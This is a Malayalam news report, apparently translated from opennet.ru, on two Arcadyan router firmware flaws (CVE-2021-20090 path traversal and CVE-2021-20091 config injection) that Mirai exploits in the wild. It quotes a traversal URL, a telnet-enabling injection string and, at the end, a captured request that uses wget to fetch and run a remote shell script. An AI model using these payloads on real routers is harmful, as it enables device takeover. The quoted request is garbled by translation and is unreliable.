17 നിർമ്മാതാക്കളെ ബാധിക്കുന്ന ഹോം റൂട്ടറുകളിലെ ദുർബലത

Arcadyan കമ്പനിയിൽ നിന്നുള്ള HTTP സെർവർ നടപ്പിലാക്കുന്ന ഫേംവെയർ ഉപയോഗിക്കുന്ന ഹോം റൂട്ടറുകൾക്കെതിരെ നെറ്റ്‌വർക്കിൽ വൻ ആക്രമണം രേഖപ്പെടുത്തിയിട്ടുണ്ട്. ഉപകരണങ്ങളിൽ നിയന്ത്രണം നേടുന്നതിന്, റൂട്ട് അവകാശങ്ങളുള്ള അനിയന്ത്രിതമായ കോഡിന്റെ വിദൂര നിർവ്വഹണത്തെ അനുവദിക്കുന്ന രണ്ട് കേടുപാടുകളുടെ സംയോജനമാണ് ഉപയോഗിക്കുന്നത്. Arcadyan, ASUS, Buffalo എന്നിവയിൽ നിന്നുള്ള വിപുലമായ ശ്രേണിയിലുള്ള ADSL റൂട്ടറുകളേയും ബീലൈൻ ബ്രാൻഡുകൾക്ക് കീഴിൽ വിതരണം ചെയ്യുന്ന ഉപകരണങ്ങളേയും (സ്മാർട്ട് ബോക്സ് ഫ്ലാഷിൽ പ്രശ്നം സ്ഥിരീകരിച്ചിട്ടുണ്ട്), Deutsche Telekom, Orange, O2, Telus, Verizon, Vodafone എന്നിവയെയും ഈ പ്രശ്നം ബാധിക്കുന്നു. മറ്റ് ടെലികോം ഓപ്പറേറ്റർമാർ. 10 വർഷത്തിലേറെയായി ആർക്കാഡിയൻ ഫേംവെയറിൽ ഈ പ്രശ്നം നിലവിലുണ്ടെന്നും ഈ സമയത്ത് 20 വ്യത്യസ്ത നിർമ്മാതാക്കളിൽ നിന്ന് കുറഞ്ഞത് 17 ഉപകരണ മോഡലുകളിലേക്കെങ്കിലും മൈഗ്രേറ്റ് ചെയ്യാൻ കഴിഞ്ഞുവെന്നും ശ്രദ്ധിക്കപ്പെടുന്നു.

ആദ്യ അപകടസാധ്യത, CVE-2021-20090, ആധികാരികത ഉറപ്പാക്കാതെ ഏത് വെബ് ഇന്റർഫേസ് സ്ക്രിപ്റ്റും ആക്സസ് ചെയ്യുന്നത് സാധ്യമാക്കുന്നു. വെബ് ഇന്റർഫേസിൽ ചിത്രങ്ങൾ, CSS ഫയലുകൾ, JavaScript സ്ക്രിപ്റ്റുകൾ എന്നിവ അയയ്‌ക്കുന്ന ചില ഡയറക്‌ടറികൾ ആധികാരികതയില്ലാതെ ആക്‌സസ് ചെയ്യാൻ കഴിയും എന്നതാണ് ദുർബലതയുടെ സാരം. ഈ സാഹചര്യത്തിൽ, പ്രാമാണീകരണമില്ലാതെ ആക്സസ് അനുവദിക്കുന്ന ഡയറക്ടറികൾ പ്രാരംഭ മാസ്ക് ഉപയോഗിച്ച് പരിശോധിക്കുന്നു. പാരന്റ് ഡയറക്‌ടറിയിലേക്ക് പോകാനുള്ള പാതകളിൽ “../” പ്രതീകങ്ങൾ വ്യക്തമാക്കുന്നത് ഫേംവെയർ തടഞ്ഞു, എന്നാൽ “..% 2f” കോമ്പിനേഷൻ ഉപയോഗിക്കുന്നത് ഒഴിവാക്കിയിരിക്കുന്നു. അതിനാൽ, "http://192.168.1.1/images/..%2findex.htm" പോലുള്ള അഭ്യർത്ഥനകൾ അയയ്ക്കുമ്പോൾ പരിരക്ഷിത പേജുകൾ തുറക്കാൻ സാധിക്കും.

രണ്ടാമത്തെ ദുർബലത, CVE-2021-20091, പ്രത്യേകമായി ഫോർമാറ്റ് ചെയ്‌ത പരാമീറ്ററുകൾ apply_abstract.cgi സ്‌ക്രിപ്റ്റിലേക്ക് അയച്ചുകൊണ്ട് ഉപകരണത്തിന്റെ സിസ്റ്റം ക്രമീകരണങ്ങളിൽ മാറ്റങ്ങൾ വരുത്താൻ ഒരു ആധികാരിക ഉപയോക്താവിനെ അനുവദിക്കുന്നു, ഇത് പരാമീറ്ററുകളിൽ ഒരു പുതിയ ലൈൻ പ്രതീകത്തിന്റെ സാന്നിധ്യം പരിശോധിക്കുന്നില്ല. . ഉദാഹരണത്തിന്, ഒരു പിംഗ് ഓപ്പറേഷൻ നടത്തുമ്പോൾ, ഒരു ആക്രമണകാരിക്ക് "192.168.1.2%0AARC_SYS_TelnetdEnable=1" എന്ന ഫീൽഡിൽ ഐപി വിലാസവും സ്ക്രിപ്റ്റും, ക്രമീകരണ ഫയൽ സൃഷ്ടിക്കുമ്പോൾ /tmp/etc/config/ സൃഷ്ടിക്കുമ്പോൾ മൂല്യം വ്യക്തമാക്കാൻ കഴിയും. .glbcfg, അതിൽ "AARC_SYS_TelnetdEnable=1" എന്ന വരി എഴുതും ", ഇത് ടെൽനെറ്റ് സെർവറിനെ സജീവമാക്കുന്നു, ഇത് റൂട്ട് അവകാശങ്ങളുള്ള അനിയന്ത്രിതമായ കമാൻഡ് ഷെൽ ആക്‌സസ് നൽകുന്നു. അതുപോലെ, AARC_SYS പാരാമീറ്റർ സജ്ജീകരിക്കുന്നതിലൂടെ, നിങ്ങൾക്ക് സിസ്റ്റത്തിലെ ഏത് കോഡും എക്സിക്യൂട്ട് ചെയ്യാൻ കഴിയും. "/images/..%2fapply_abstract.cgi" ആയി ആക്‌സസ് ചെയ്‌ത് പ്രാമാണീകരണമില്ലാതെ ഒരു പ്രശ്‌നമുള്ള സ്‌ക്രിപ്റ്റ് പ്രവർത്തിപ്പിക്കുന്നത് സാധ്യമാക്കുന്നു.

കേടുപാടുകൾ പ്രയോജനപ്പെടുത്തുന്നതിന്, വെബ് ഇന്റർഫേസ് പ്രവർത്തിക്കുന്ന നെറ്റ്‌വർക്ക് പോർട്ടിലേക്ക് ഒരു അഭ്യർത്ഥന അയയ്ക്കാൻ ആക്രമണകാരിക്ക് കഴിയണം. ആക്രമണത്തിന്റെ വ്യാപനത്തിന്റെ ചലനാത്മകത വിലയിരുത്തുമ്പോൾ, പിന്തുണാ സേവനത്തിലൂടെ പ്രശ്‌നങ്ങൾ കണ്ടെത്തുന്നത് ലളിതമാക്കുന്നതിന് പല ഓപ്പറേറ്റർമാരും ബാഹ്യ നെറ്റ്‌വർക്കിൽ നിന്ന് അവരുടെ ഉപകരണങ്ങളിൽ ആക്‌സസ്സ് ഉപേക്ഷിക്കുന്നു. ഇന്റർഫേസിലേക്കുള്ള പ്രവേശനം ആന്തരിക നെറ്റ്‌വർക്കിലേക്ക് മാത്രം പരിമിതപ്പെടുത്തിയിട്ടുണ്ടെങ്കിൽ, "DNS റീബൈൻഡിംഗ്" ടെക്നിക് ഉപയോഗിച്ച് ഒരു ബാഹ്യ നെറ്റ്‌വർക്കിൽ നിന്ന് ആക്രമണം നടത്താം. മിറായ് ബോട്ട്‌നെറ്റിലേക്ക് റൂട്ടറുകൾ ബന്ധിപ്പിക്കുന്നതിന് കേടുപാടുകൾ ഇതിനകം സജീവമായി ഉപയോഗിച്ചുവരുന്നു: POST /images/..%2fapply_abstract.cgi HTTP/1.1 കണക്ഷൻ: ഉപയോക്തൃ-ഏജന്റ് അടയ്ക്കുക: ഡാർക്ക് ആക്ഷൻ=start_ping&submit_button=ping.html& action_params=3plinktime5.Blinktime212.192.241.7. 0%1A ARC_SYS_TelnetdEnable=0&%212.192.241.72AARC_SYS_=cd+/tmp; wget+http://212.192.241.72/lolol.sh; curl+-O+http://777/lolol.sh; chmod+0+lolol.sh; sh+lolol.sh&ARC_ping_status=4&TMP_Ping_Type=XNUMX

അവലംബം: opennet.ru